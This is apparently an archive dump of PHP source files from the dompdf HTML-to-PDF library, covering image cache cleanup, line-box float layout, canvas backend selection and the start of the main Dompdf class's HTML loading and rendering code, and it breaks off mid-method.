                    }
                    fclose($fp);
                    xml_parse($parser, "", true);
                }
                xml_parser_free($parser);
            }
        } catch (ImageException $e) {
            if ($tempfile) {
                unlink($tempfile);
            }
            $resolved_url = self::$broken_image;
            list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
            $message = self::$error_message;
            Helpers::record_warnings($e->getCode(), $e->getMessage() . " \n $url", $e->getFile(), $e->getLine());
            self::$_cache[$full_url] = $resolved_url;
        }

        return [$resolved_url, $type, $message];
    }

    static function detectCircularRef(string $src, string $target)
    {
        if (!\array_key_exists($target, self::$svgRefs)) {
            return;
        }
        foreach (self::$svgRefs[$target] as $ref) {
            if ($ref === $src) {
                throw new ImageException("Circular external SVG image reference detected.", E_WARNING);
            }
            self::detectCircularRef($src, $ref);
        }
    }

    /**
     * Register a temp file for the given original image file.
     *
     * @param string $filePath The path of the original image.
     * @param string $tempPath The path of the temp file to register.
     * @param string $key      An optional key to register the temp file at.
     */
    static function addTempImage(string $filePath, string $tempPath, string $key = "default"): void
    {
        if (!isset(self::$tempImages[$filePath])) {
            self::$tempImages[$filePath] = [];
        }

        self::$tempImages[$filePath][$key] = $tempPath;
    }

    /**
     * Get the path of a temp file registered for the given original image file.
     *
     * @param string $filePath The path of the original image.
     * @param string $key      The key the temp file is registered at.
     */
    static function getTempImage(string $filePath, string $key = "default"): ?string
    {
        return self::$tempImages[$filePath][$key] ?? null;
    }

    /**
     * Unlink all cached images (i.e. temporary images either downloaded
     * or converted) except for the bundled "broken image"
     */
    static function clear(bool $debugPng = false)
    {
        foreach (self::$_cache as $file) {
            if ($file === self::$broken_image) {
                continue;
            }
            if ($debugPng) {
                print "[clear unlink $file]";
            }
            if (file_exists($file)) {
                unlink($file);
            }
        }

        foreach (self::$tempImages as $versions) {
            foreach ($versions as $file) {
                if ($file === self::$broken_image) {
                    continue;
                }
                if ($debugPng) {
                    print "[unlink temp image $file]";
                }
                if (file_exists($file)) {
                    unlink($file);
                }
            }
        }

        self::$_cache = [];
        self::$tempImages = [];
        self::$svgRefs = [];
    }

    static function detect_type($file, $context = null)
    {
        list(, , $type) = Helpers::dompdf_getimagesize($file, $context);

        return $type;
    }

    static function is_broken($url)
    {
        return $url === self::$broken_image;
    }
}

if (file_exists(realpath(__DIR__ . "/../../lib/res/broken_image.svg"))) {
    Cache::$broken_image = realpath(__DIR__ . "/../../lib/res/broken_image.svg");
}
vendor/dompdf/dompdf/src/LineBox.php000066600000023776151150443010013440 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameDecorator\Block;
use Dompdf\FrameDecorator\ListBullet;
use Dompdf\FrameDecorator\Page;
use Dompdf\FrameReflower\Text as TextFrameReflower;
use Dompdf\Positioner\Inline as InlinePositioner;
use Iterator;

/**
 * The line box class
 *
 * This class represents a line box
 * http://www.w3.org/TR/CSS2/visuren.html#line-box
 *
 * @package dompdf
 */
class LineBox
{
    /**
     * @var Block
     */
    protected $_block_frame;

    /**
     * @var AbstractFrameDecorator[]
     */
    protected $_frames = [];

    /**
     * @var ListBullet[]
     */
    protected $list_markers = [];

    /**
     * @var int
     */
    public $wc = 0;

    /**
     * @var float
     */
    public $y = 0.0;

    /**
     * @var float
     */
    public $w = 0.0;

    /**
     * @var float
     */
    public $h = 0.0;

    /**
     * @var float
     */
    public $left = 0.0;

    /**
     * @var float
     */
    public $right = 0.0;

    /**
     * @var AbstractFrameDecorator
     */
    public $tallest_frame = null;

    /**
     * @var bool[]
     */
    public $floating_blocks = [];

    /**
     * @var bool
     */
    public $br = false;

    /**
     * Whether the line box contains any inline-positioned frames.
     *
     * @var bool
     */
    public $inline = false;

    /**
     * @param Block $frame the Block containing this line
     * @param float $y
     */
    public function __construct(Block $frame, float $y = 0.0)
    {
        $this->_block_frame = $frame;
        $this->_frames = [];
        $this->y = $y;

        $this->get_float_offsets();
    }

    /**
     * Returns the floating elements inside the first floating parent
     *
     * @param Page $root
     *
     * @return Frame[]
     */
    public function get_floats_inside(Page $root): array
    {
        $floating_frames = $root->get_floating_frames();

        if (count($floating_frames) == 0) {
            return $floating_frames;
        }

        // Find nearest floating element
        $p = $this->_block_frame;
        while ($p->get_style()->float === "none") {
            $parent = $p->get_parent();

            if (!$parent) {
                break;
            }

            $p = $parent;
        }

        if ($p == $root) {
            return $floating_frames;
        }

        $parent = $p;

        $childs = [];

        foreach ($floating_frames as $_floating) {
            $p = $_floating->get_parent();

            while (($p = $p->get_parent()) && $p !== $parent);

            if ($p) {
                $childs[] = $p;
            }
        }

        return $childs;
    }

    public function get_float_offsets(): void
    {
        static $anti_infinite_loop = 10000; // FIXME smelly hack

        $reflower = $this->_block_frame->get_reflower();

        if (!$reflower) {
            return;
        }

        $cb_w = null;

        $block = $this->_block_frame;
        $root = $block->get_root();

        if (!$root) {
            return;
        }

        $style = $this->_block_frame->get_style();
        $floating_frames = $this->get_floats_inside($root);
        $inside_left_floating_width = 0;
        $inside_right_floating_width = 0;
        $outside_left_floating_width = 0;
        $outside_right_floating_width = 0;

        foreach ($floating_frames as $child_key => $floating_frame) {
            $floating_frame_parent = $floating_frame->get_parent();
            $id = $floating_frame->get_id();

            if (isset($this->floating_blocks[$id])) {
                continue;
            }

            $float = $floating_frame->get_style()->float;
            $floating_width = $floating_frame->get_margin_width();

            if (!$cb_w) {
                $cb_w = $floating_frame->get_containing_block("w");
            }

            $line_w = $this->get_width();

            if (!$floating_frame->_float_next_line && ($cb_w <= $line_w + $floating_width) && ($cb_w > $line_w)) {
                $floating_frame->_float_next_line = true;
                continue;
            }

            // If the child is still shifted by the floating element
            if ($anti_infinite_loop-- > 0 &&
                $floating_frame->get_position("y") + $floating_frame->get_margin_height() >= $this->y &&
                $block->get_position("x") + $block->get_margin_width() >= $floating_frame->get_position("x")
            ) {
                if ($float === "left") {
                    if ($floating_frame_parent === $this->_block_frame) {
                        $inside_left_floating_width += $floating_width;
                    } else {
                        $outside_left_floating_width += $floating_width;
                    }
                } elseif ($float === "right") {
                    if ($floating_frame_parent === $this->_block_frame) {
                        $inside_right_floating_width += $floating_width;
                    } else {
                        $outside_right_floating_width += $floating_width;
                    }
                }

                $this->floating_blocks[$id] = true;
            } // else, the floating element won't shift anymore
            else {
                $root->remove_floating_frame($child_key);
            }
        }

        $this->left += $inside_left_floating_width;
        if ($outside_left_floating_width > 0 && $outside_left_floating_width > ((float)$style->length_in_pt($style->margin_left) + (float)$style->length_in_pt($style->padding_left))) {
            $this->left += $outside_left_floating_width - (float)$style->length_in_pt($style->margin_left) - (float)$style->length_in_pt($style->padding_left);
        }
        $this->right += $inside_right_floating_width;
        if ($outside_right_floating_width > 0 && $outside_right_floating_width > ((float)$style->length_in_pt($style->margin_left) + (float)$style->length_in_pt($style->padding_right))) {
            $this->right += $outside_right_floating_width - (float)$style->length_in_pt($style->margin_right) - (float)$style->length_in_pt($style->padding_right);
        }
    }

    /**
     * @return float
     */
    public function get_width(): float
    {
        return $this->left + $this->w + $this->right;
    }

    /**
     * @return Block
     */
    public function get_block_frame(): Block
    {
        return $this->_block_frame;
    }

    /**
     * @return AbstractFrameDecorator[]
     */
    public function &get_frames(): array
    {
        return $this->_frames;
    }

    /**
     * @return bool
     */
    public function is_empty(): bool
    {
        return $this->_frames === [];
    }

    /**
     * @param AbstractFrameDecorator $frame
     */
    public function add_frame(Frame $frame): void
    {
        $this->_frames[] = $frame;

        if ($frame->get_positioner() instanceof InlinePositioner) {
            $this->inline = true;
        }
    }

    /**
     * Remove the frame at the given index and all following frames from the
     * line.
     *
     * @param int $index
     */
    public function remove_frames(int $index): void
    {
        $lastIndex = count($this->_frames) - 1;

        if ($index < 0 || $index > $lastIndex) {
            return;
        }

        for ($i = $lastIndex; $i >= $index; $i--) {
            $f = $this->_frames[$i];
            unset($this->_frames[$i]);
            $this->w -= $f->get_margin_width();
        }

        // Reset array indices
        $this->_frames = array_values($this->_frames);

        // Recalculate the height of the line
        $h = 0.0;
        $this->inline = false;

        foreach ($this->_frames as $f) {
            $h = max($h, $f->get_margin_height());

            if ($f->get_positioner() instanceof InlinePositioner) {
                $this->inline = true;
            }
        }

        $this->h = $h;
    }

    /**
     * Get the `outside` positioned list markers to be vertically aligned with
     * the line box.
     *
     * @return ListBullet[]
     */
    public function get_list_markers(): array
    {
        return $this->list_markers;
    }

    /**
     * Add a list marker to the line box.
     *
     * The list marker is only added for the purpose of vertical alignment, it
     * is not actually added to the list of frames of the line box.
     */
    public function add_list_marker(ListBullet $marker): void
    {
        $this->list_markers[] = $marker;
    }

    /**
     * An iterator of all list markers and inline positioned frames of the line
     * box.
     *
     * @return Iterator<AbstractFrameDecorator>
     */
    public function frames_to_align(): Iterator
    {
        yield from $this->list_markers;

        foreach ($this->_frames as $frame) {
            if ($frame->get_positioner() instanceof InlinePositioner) {
                yield $frame;
            }
        }
    }

    /**
     * Trim trailing whitespace from the line.
     */
    public function trim_trailing_ws(): void
    {
        $lastIndex = count($this->_frames) - 1;

        if ($lastIndex < 0) {
            return;
        }

        $lastFrame = $this->_frames[$lastIndex];
        $reflower = $lastFrame->get_reflower();

        if ($reflower instanceof TextFrameReflower && !$lastFrame->is_pre()) {
            $reflower->trim_trailing_ws();
            $this->recalculate_width();
        }
    }

    /**
     * Recalculate LineBox width based on the contained frames total width.
     *
     * @return float
     */
    public function recalculate_width(): float
    {
        $width = 0.0;

        foreach ($this->_frames as $frame) {
            $width += $frame->get_margin_width();
        }

        return $this->w = $width;
    }

    public function __toString(): string
    {
        $props = ["wc", "y", "w", "h", "left", "right", "br"];
        $s = "";
        foreach ($props as $prop) {
            $s .= "$prop: " . $this->$prop . "\n";
        }
        $s .= count($this->_frames) . " frames\n";

        return $s;
    }
}
vendor/dompdf/dompdf/src/CanvasFactory.php000066600000002744151150443010014633 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

/**
 * Create canvas instances
 *
 * The canvas factory creates canvas instances based on the
 * availability of rendering backends and config options.
 *
 * @package dompdf
 */
class CanvasFactory
{
    /**
     * Constructor is private: this is a static class
     */
    private function __construct()
    {
    }

    /**
     * @param Dompdf         $dompdf
     * @param string|float[] $paper
     * @param string         $orientation
     * @param string|null    $class
     *
     * @return Canvas
     */
    static function get_instance(Dompdf $dompdf, $paper, string $orientation, ?string $class = null)
    {
        $backend = strtolower($dompdf->getOptions()->getPdfBackend());

        if (isset($class) && class_exists($class, false)) {
            $class .= "_Adapter";
        } else {
            if (($backend === "auto" || $backend === "pdflib") &&
                class_exists("PDFLib", false)
            ) {
                $class = "Dompdf\\Adapter\\PDFLib";
            }

            else {
                if ($backend === "gd" && extension_loaded('gd')) {
                    $class = "Dompdf\\Adapter\\GD";
                } else {
                    $class = "Dompdf\\Adapter\\CPDF";
                }
            }
        }

        return new $class($paper, $orientation, $dompdf);
    }
}
vendor/dompdf/dompdf/src/Dompdf.php000066600000122674151150443010013306 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

use DOMDocument;
use DOMNode;
use Dompdf\Adapter\CPDF;
use DOMXPath;
use Dompdf\Frame\Factory;
use Dompdf\Frame\FrameTree;
use Dompdf\Image\Cache;
use Dompdf\Css\Stylesheet;
use Dompdf\Helpers;
use Masterminds\HTML5;

/**
 * Dompdf - PHP5 HTML to PDF renderer
 *
 * Dompdf loads HTML and does its best to render it as a PDF.  It gets its
 * name from the new DomDocument PHP5 extension.  Source HTML is first
 * parsed by a DomDocument object.  Dompdf takes the resulting DOM tree and
 * attaches a {@link Frame} object to each node.  {@link Frame} objects store
 * positioning and layout information and each has a reference to a {@link
 * Style} object.
 *
 * Style information is loaded and parsed (see {@link Stylesheet}) and is
 * applied to the frames in the tree by using XPath.  CSS selectors are
 * converted into XPath queries, and the computed {@link Style} objects are
 * applied to the {@link Frame}s.
 *
 * {@link Frame}s are then decorated (in the design pattern sense of the
 * word) based on their CSS display property ({@link
 * http://www.w3.org/TR/CSS21/visuren.html#propdef-display}).
 * Frame_Decorators augment the basic {@link Frame} class by adding
 * additional properties and methods specific to the particular type of
 * {@link Frame}.  For example, in the CSS layout model, block frames
 * (display: block;) contain line boxes that are usually filled with text or
 * other inline frames.  The Block therefore adds a $lines
 * property as well as methods to add {@link Frame}s to lines and to add
 * additional lines.  {@link Frame}s also are attached to specific
 * AbstractPositioner and {@link AbstractFrameReflower} objects that contain the
 * positioining and layout algorithm for a specific type of frame,
 * respectively.  This is an application of the Strategy pattern.
 *
 * Layout, or reflow, proceeds recursively (post-order) starting at the root
 * of the document.  Space constraints (containing block width & height) are
 * pushed down, and resolved positions and sizes bubble up.  Thus, every
 * {@link Frame} in the document tree is traversed once (except for tables
 * which use a two-pass layout algorithm).  If you are interested in the
 * details, see the reflow() method of the Reflower classes.
 *
 * Rendering is relatively straightforward once layout is complete. {@link
 * Frame}s are rendered using an adapted {@link Cpdf} class, originally
 * written by Wayne Munro, http://www.ros.co.nz/pdf/.  (Some performance
 * related changes have been made to the original {@link Cpdf} class, and
 * the {@link Dompdf\Adapter\CPDF} class provides a simple, stateless interface to
 * PDF generation.)  PDFLib support has now also been added, via the {@link
 * Dompdf\Adapter\PDFLib}.
 *
 *
 * @package dompdf
 */
class Dompdf
{
    /**
     * Version string for dompdf
     *
     * @var string
     */
    private $version = 'dompdf';

    /**
     * DomDocument representing the HTML document
     *
     * @var DOMDocument
     */
    private $dom;

    /**
     * FrameTree derived from the DOM tree
     *
     * @var FrameTree
     */
    private $tree;

    /**
     * Stylesheet for the document
     *
     * @var Stylesheet
     */
    private $css;

    /**
     * Actual PDF renderer
     *
     * @var Canvas
     */
    private $canvas;

    /**
     * Desired paper size ('letter', 'legal', 'A4', etc.)
     *
     * @var string|float[]
     */
    private $paperSize;

    /**
     * Paper orientation ('portrait' or 'landscape')
     *
     * @var string
     */
    private $paperOrientation = "portrait";

    /**
     * Callbacks on new page and new element
     *
     * @var array
     */
    private $callbacks = [];

    /**
     * Experimental caching capability
     *
     * @var string
     */
    private $cacheId;

    /**
     * Base hostname
     *
     * Used for relative paths/urls
     * @var string
     */
    private $baseHost = "";

    /**
     * Absolute base path
     *
     * Used for relative paths/urls
     * @var string
     */
    private $basePath = "";

    /**
     * Protocol used to request file (file://, http://, etc)
     *
     * @var string
     */
    private $protocol = "";

    /**
     * The system's locale
     *
     * @var string
     */
    private $systemLocale = null;

    /**
     * The system's mbstring internal encoding
     *
     * @var string
     */
    private $mbstringEncoding = null;

    /**
     * The system's PCRE JIT configuration
     *
     * @var string
     */
    private $pcreJit = null;

    /**
     * The default view of the PDF in the viewer
     *
     * @var string
     */
    private $defaultView = "Fit";

    /**
     * The default view options of the PDF in the viewer
     *
     * @var array
     */
    private $defaultViewOptions = [];

    /**
     * Tells whether the DOM document is in quirksmode (experimental)
     *
     * @var bool
     */
    private $quirksmode = false;

    /**
    * Local file extension whitelist
    *
    * File extensions supported by dompdf for local files.
    *
    * @var array
    */
    private $allowedLocalFileExtensions = ["htm", "html"];

    /**
     * @var array
     */
    private $messages = [];

    /**
     * @var Options
     */
    private $options;

    /**
     * @var FontMetrics
     */
    private $fontMetrics;

    /**
     * The list of built-in fonts
     *
     * @var array
     * @deprecated
     */
    public static $native_fonts = [
        "courier", "courier-bold", "courier-oblique", "courier-boldoblique",
        "helvetica", "helvetica-bold", "helvetica-oblique", "helvetica-boldoblique",
        "times-roman", "times-bold", "times-italic", "times-bolditalic",
        "symbol", "zapfdinbats"
    ];

    /**
     * The list of built-in fonts
     *
     * @var array
     */
    public static $nativeFonts = [
        "courier", "courier-bold", "courier-oblique", "courier-boldoblique",
        "helvetica", "helvetica-bold", "helvetica-oblique", "helvetica-boldoblique",
        "times-roman", "times-bold", "times-italic", "times-bolditalic",
        "symbol", "zapfdinbats"
    ];

    /**
     * Class constructor
     *
     * @param Options|array|null $options
     */
    public function __construct($options = null)
    {
        if (isset($options) && $options instanceof Options) {
            $this->setOptions($options);
        } elseif (is_array($options)) {
            $this->setOptions(new Options($options));
        } else {
            $this->setOptions(new Options());
        }

        $versionFile = realpath(__DIR__ . '/../VERSION');
        if (($version = file_get_contents($versionFile)) !== false) {
            $version = trim($version);
            if ($version !== '$Format:<%h>$') {
                $this->version = sprintf('dompdf %s', $version);
            }
        }

        $this->setPhpConfig();

        $this->paperSize = $this->options->getDefaultPaperSize();
        $this->paperOrientation = $this->options->getDefaultPaperOrientation();

        $this->canvas = CanvasFactory::get_instance($this, $this->paperSize, $this->paperOrientation);
        $this->fontMetrics = new FontMetrics($this->canvas, $this->options);
        $this->css = new Stylesheet($this);

        $this->restorePhpConfig();
    }

    /**
     * Save the system's existing locale, PCRE JIT, and MBString encoding
     * configuration and configure the system for Dompdf processing
     */
    private function setPhpConfig()
    {
        if (sprintf('%.1f', 1.0) !== '1.0') {
            $this->systemLocale = setlocale(LC_NUMERIC, "0");
            setlocale(LC_NUMERIC, "C");
        }

        $this->pcreJit = @ini_get('pcre.jit');
        @ini_set('pcre.jit', '0');

        $this->mbstringEncoding = mb_internal_encoding();
        mb_internal_encoding('UTF-8');
    }

    /**
     * Restore the system's locale configuration
     */
    private function restorePhpConfig()
    {
        if ($this->systemLocale !== null) {
            setlocale(LC_NUMERIC, $this->systemLocale);
            $this->systemLocale = null;
        }

        if ($this->pcreJit !== null) {
            @ini_set('pcre.jit', $this->pcreJit);
            $this->pcreJit = null;
        }

        if ($this->mbstringEncoding !== null) {
            mb_internal_encoding($this->mbstringEncoding);
            $this->mbstringEncoding = null;
        }
    }

    /**
     * @param $file
     * @deprecated
     */
    public function load_html_file($file)
    {
        $this->loadHtmlFile($file);
    }

    /**
     * Loads an HTML file.
     *
     * If no encoding is given or set via `Content-Type` header, the document
     * encoding specified via `<meta>` tag is used. An existing Unicode BOM
     * always takes precedence.
     *
     * Parse errors are stored in the global array `$_dompdf_warnings`.
     *
     * @param string      $file     A filename or URL to load.
     * @param string|null $encoding Encoding of the file.
     */
    public function loadHtmlFile($file, $encoding = null)
    {
        $this->setPhpConfig();

        if (!$this->protocol && !$this->baseHost && !$this->basePath) {
            [$this->protocol, $this->baseHost, $this->basePath] = Helpers::explode_url($file);
        }
        $protocol = strtolower($this->protocol);
        $uri = Helpers::build_url($this->protocol, $this->baseHost, $this->basePath, $file);

        $allowed_protocols = $this->options->getAllowedProtocols();
        if (!array_key_exists($protocol, $allowed_protocols)) {
            throw new Exception("Permission denied on $file. The communication protocol is not supported.");
        }

        if ($protocol === "file://") {
            $ext = strtolower(pathinfo($uri, PATHINFO_EXTENSION));
            if (!in_array($ext, $this->allowedLocalFileExtensions)) {
                throw new Exception("Permission denied on $file: The file extension is forbidden.");
            }
        }

        foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
            [$result, $message] = $rule($uri);
            if (!$result) {
                throw new Exception("Error loading $file: $message");
            }
        }

        [$contents, $http_response_header] = Helpers::getFileContent($uri, $this->options->getHttpContext());
        if ($contents === null) {
            throw new Exception("File '$file' not found.");
        }

        // See http://the-stickman.com/web-development/php/getting-http-response-headers-when-using-file_get_contents/
        if (isset($http_response_header)) {
            foreach ($http_response_header as $_header) {
                if (preg_match("@Content-Type:\s*[\w/]+;\s*?charset=([^\s]+)@i", $_header, $matches)) {
                    $encoding = strtoupper($matches[1]);
                    break;
                }
            }
        }

        $this->restorePhpConfig();

        $this->loadHtml($contents, $encoding);
    }

    /**
     * @param string $str
     * @param string $encoding
     * @deprecated
     */
    public function load_html($str, $encoding = null)
    {
        $this->loadHtml($str, $encoding);
    }

    /**
     * @param DOMDocument $doc
     * @param bool        $quirksmode
     */
    public function loadDOM($doc, $quirksmode = false)
    {
        // Remove #text children nodes in nodes that shouldn't have
        $tag_names = ["html", "head", "table", "tbody", "thead", "tfoot", "tr"];
        foreach ($tag_names as $tag_name) {
            $nodes = $doc->getElementsByTagName($tag_name);

            foreach ($nodes as $node) {
                self::removeTextNodes($node);
            }
        }

        $this->dom = $doc;
        $this->quirksmode = $quirksmode;
        $this->tree = new FrameTree($this->dom);
    }

    /**
     * Loads an HTML document from a string.
     *
     * If no encoding is given, the document encoding specified via `<meta>`
     * tag is used. An existing Unicode BOM always takes precedence.
     *
     * Parse errors are stored in the global array `$_dompdf_warnings`.
     *
     * @param string      $str      The HTML to load.
     * @param string|null $encoding Encoding of the string.
     */
    public function loadHtml($str, $encoding = null)
    {
        $this->setPhpConfig();

        // Detect Unicode via BOM, taking precedence over the given encoding.
        // Remove the mark, as it is treated as document text by DOMDocument.
        // http://us2.php.net/manual/en/function.mb-detect-encoding.php#91051
        if (strncmp($str, "\xFE\xFF", 2) === 0) {
            $str = substr($str, 2);
            $encoding = "UTF-16BE";
        } elseif (strncmp($str, "\xFF\xFE", 2) === 0) {
            $str = substr($str, 2);
            $encoding = "UTF-16LE";
        } elseif (strncmp($str, "\xEF\xBB\xBF", 3) === 0) {
            $str = substr($str, 3);
            $encoding = "UTF-8";
        }

        // Convert document using the given encoding
        $encodingGiven = $encoding !== null && $encoding !== "";

        if ($encodingGiven && !in_array(strtoupper($encoding), ["UTF-8", "UTF8"], true)) {
            $converted = mb_convert_encoding($str, "UTF-8", $encoding);

            if ($converted !== false) {
                $str = $converted;
            }
        }

        // Parse document encoding from `<meta>` tag ...
        $charset = "(?<charset>[a-z0-9\-]+)";
        $contentType = "http-equiv\s*=\s* ([\"']?)\s* Content-Type";
        $contentStart = "content\s*=\s* ([\"']?)\s* [\w\/]+ \s*;\s* charset\s*=\s*";
        $metaTags = [
            "/<meta \s[^>]* $contentType \s*\g1\s* $contentStart $charset \s*\g2 [^>]*>/isx", // <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
            "/<meta \s[^>]* $contentStart $charset \s*\g1\s* $contentType \s*\g3 [^>]*>/isx", // <meta content="text/html; charset=UTF-8" http-equiv="Content-Type">
            "/<meta \s[^>]* charset\s*=\s* ([\"']?)\s* $charset \s*\g1 [^>]*>/isx",           // <meta charset="UTF-8">
        ];

        foreach ($metaTags as $pattern) {
            if (preg_match($pattern, $str, $matches, PREG_OFFSET_CAPTURE)) {
                [$documentEncoding, $offset] = $matches["charset"];
                break;
            }
        }

        // ... and replace it with UTF-8; add a corresponding `<meta>` tag if
        // missing. This is to ensure that `DOMDocument` handles the document
        // encoding properly, as it will mess up the encoding if the charset
        // declaration is missing or different from the actual encoding
        if (isset($documentEncoding) && isset($offset)) {
            if (!in_array(strtoupper($documentEncoding), ["UTF-8", "UTF8"], true)) {
                $str = substr($str, 0, $offset) . "UTF-8" . substr($str, $offset + strlen($documentEncoding));
            }
        } elseif (($headPos = stripos($str, "<head>")) !== false) {
            $str = substr($str, 0, $headPos + 6) . '<meta charset="UTF-8">' . substr($str, $headPos + 6);
        } else {
            $str = '<meta charset="UTF-8">' . $str;
        }

        // If no encoding was passed, use the document encoding, falling back to
        // auto-detection
        $fallbackEncoding = $documentEncoding ?? "auto";

        if (!$encodingGiven && !in_array(strtoupper($fallbackEncoding), ["UTF-8", "UTF8"], true)) {
            $converted = mb_convert_encoding($str, "UTF-8", $fallbackEncoding);

            if ($converted !== false) {
                $str = $converted;
            }
        }

        // Store parsing warnings as messages
        set_error_handler([Helpers::class, "record_warnings"]);

        try {
            // @todo Take the quirksmode into account
            // https://quirks.spec.whatwg.org/
            // http://hsivonen.iki.fi/doctype/
            $quirksmode = false;

            $html5 = new HTML5(["encoding" => "UTF-8", "disable_html_ns" => true]);
            $dom = $html5->loadHTML($str);

            // extra step to normalize the HTML document structure
            // see Masterminds/html5-php#166
            $doc = new DOMDocument("1.0", "UTF-8");
            $doc->preserveWhiteSpace = true;
            $doc->loadHTML($html5->saveHTML($dom), LIBXML_NOWARNING | LIBXML_NOERROR);

            $this->loadDOM($doc, $quirksmode);
        } finally {
            restore_error_handler();
            $this->restorePhpConfig();
        }
    }

    /**
     * @param DOMNode $node
     * @deprecated
     */
    public static function remove_text_nodes(DOMNode $node)
    {
        self::removeTextNodes($node);
    }

    /**
     * @param DOMNode $node
     */
    public static function removeTextNodes(DOMNode $node)
    {
        $children = [];
        for ($i = 0; $i < $node->childNodes->length; $i++) {
            $child = $node->childNodes->item($i);
            if ($child->nodeName === "#text") {
                $children[] = $child;
            }
        }

        foreach ($children as $child) {
            $node->removeChild($child);
        }
    }

    /**
     * Builds the {@link FrameTree}, loads any CSS and applies the styles to
     * the {@link FrameTree}
     */
    private function processHtml()
    {
        $this->tree->build_tree();

        $this->css->load_css_file($this->css->getDefaultStylesheet(), Stylesheet::ORIG_UA);

        $acceptedmedia = Stylesheet::$ACCEPTED_GENERIC_MEDIA_TYPES;
        $acceptedmedia[] = $this->options->getDefaultMediaType();

        // <base href="" />
        /** @var \DOMElement|null */
        $baseNode = $this->dom->getElementsByTagName("base")->item(0);
        $baseHref = $baseNode ? $baseNode->getAttribute("href") : "";
        if ($baseHref !== "") {
            [$this->protocol, $this->baseHost, $this->basePath] = Helpers::explode_url($baseHref);
        }

        // Set the base path of the Stylesheet to that of the file being processed
        $this->css->set_protocol($this->protocol);
        $this->css->set_host($this->baseHost);
        $this->css->set_base_path($this->basePath);

        // Get all the stylesheets so that they are processed in document order
        $xpath = new DOMXPath($this->dom);
        $stylesheets = $xpath->query("//*[name() = 'link' or name() = 'style']");

        /** @var \DOMElement $tag */
        foreach ($stylesheets as $tag) {
            switch (strtolower($tag->nodeName)) {
                // load <link rel="STYLESHEET" ... /> tags
                case "link":
                    if (
                        (stripos($tag->getAttribute("rel"), "stylesheet") !== false // may be "appendix stylesheet"
                        || mb_strtolower($tag->getAttribute("type")) === "text/css")
                        && stripos($tag->getAttribute("rel"), "alternate") === false // don't load "alternate stylesheet"
                    ) {
                        //Check if the css file is for an accepted media type
                        //media not given then always valid
                        $formedialist = preg_split("/[\s\n,]/", $tag->getAttribute("media"), -1, PREG_SPLIT_NO_EMPTY);
                        if (count($formedialist) > 0) {
                            $accept = false;
                            foreach ($formedialist as $type) {
                                if (in_array(mb_strtolower(trim($type)), $acceptedmedia)) {
                                    $accept = true;
                                    break;
                                }
                            }

                            if (!$accept) {
                                //found at least one mediatype, but none of the accepted ones
                                //Skip this css file.
                                break;
                            }
                        }

                        $url = $tag->getAttribute("href");
                        $url = Helpers::build_url($this->protocol, $this->baseHost, $this->basePath, $url);

                        if ($url !== null) {
                            $this->css->load_css_file($url, Stylesheet::ORIG_AUTHOR);
                        }
                    }
                    break;

                // load <style> tags
                case "style":
                    // Accept all <style> tags by default (note this is contrary to W3C
                    // HTML 4.0 spec:
                    // http://www.w3.org/TR/REC-html40/present/styles.html#adef-media
                    // which states that the default media type is 'screen'
                    if ($tag->hasAttributes() &&
                        ($media = $tag->getAttribute("media")) &&
                        !in_array($media, $acceptedmedia)
                    ) {
                        break;
                    }

                    $css = "";
                    if ($tag->hasChildNodes()) {
                        $child = $tag->firstChild;
                        while ($child) {
                            $css .= $child->nodeValue; // Handle <style><!-- blah --></style>
                            $child = $child->nextSibling;
                        }
                    } else {
                        $css = $tag->nodeValue;
                    }

                    // Set the base path of the Stylesheet to that of the file being processed
                    $this->css->set_protocol($this->protocol);
                    $this->css->set_host($this->baseHost);
                    $this->css->set_base_path($this->basePath);

                    $this->css->load_css($css, Stylesheet::ORIG_AUTHOR);
                    break;
            }

            // Set the base path of the Stylesheet to that of the file being processed
            $this->css->set_protocol($this->protocol);
            $this->css->set_host($this->baseHost);
            $this->css->set_base_path($this->basePath);
        }
    }

    /**
     * @param string $cacheId
     * @deprecated
     */
    public function enable_caching($cacheId)
    {
        $this->enableCaching($cacheId);
    }

    /**
     * Enable experimental caching capability
     *
     * @param string $cacheId
     */
    public function enableCaching($cacheId)
    {
        $this->cacheId = $cacheId;
    }

    /**
     * @param string $value
     * @return bool
     * @deprecated
     */
    public function parse_default_view($value)
    {
        return $this->parseDefaultView($value);
    }

    /**
     * @param string $value
     * @return bool
     */
    public function parseDefaultView($value)
    {
        $valid = ["XYZ", "Fit", "FitH", "FitV", "FitR", "FitB", "FitBH", "FitBV"];

        $options = preg_split("/\s*,\s*/", trim($value));
        $defaultView = array_shift($options);

        if (!in_array($defaultView, $valid)) {
            return false;
        }

        $this->setDefaultView($defaultView, $options);
        return true;
    }

    /**
     * Renders the HTML to PDF
     */
    public function render()
    {
        $this->setPhpConfig();

        $logOutputFile = $this->options->getLogOutputFile();
        if ($logOutputFile) {
            if (!file_exists($logOutputFile) && is_writable(dirname($logOutputFile))) {
                touch($logOutputFile);
            }

            $startTime = microtime(true);
            if (is_writable($logOutputFile)) {
                ob_start();
            }
        }

        $this->processHtml();

        $this->css->apply_styles($this->tree);

        // @page style rules : size, margins
        $pageStyles = $this->css->get_page_styles();
        $basePageStyle = $pageStyles["base"];
        unset($pageStyles["base"]);

        foreach ($pageStyles as $pageStyle) {
            $pageStyle->inherit($basePageStyle);
        }

        // Set paper size if defined via CSS
        if (is_array($basePageStyle->size)) {
            // Orientation is already applied when reading the computed CSS
            // `size` value. The `Canvas` back ends, however, unconditionally
            // swap with an orientation of `landscape` and leave the defined
            // size as-is with `portrait`; so passing `portrait` as orientation
            // here (via the default value) is correct
            [$width, $height] = $basePageStyle->size;
            $this->setPaper([0, 0, $width, $height]);
        }

        // Create a new canvas instance if the current one does not match the
        // desired paper size
        $canvasWidth = $this->canvas->get_width();
        $canvasHeight = $this->canvas->get_height();
        $size = $this->getPaperSize();

        if ($canvasWidth !== $size[2] || $canvasHeight !== $size[3]) {
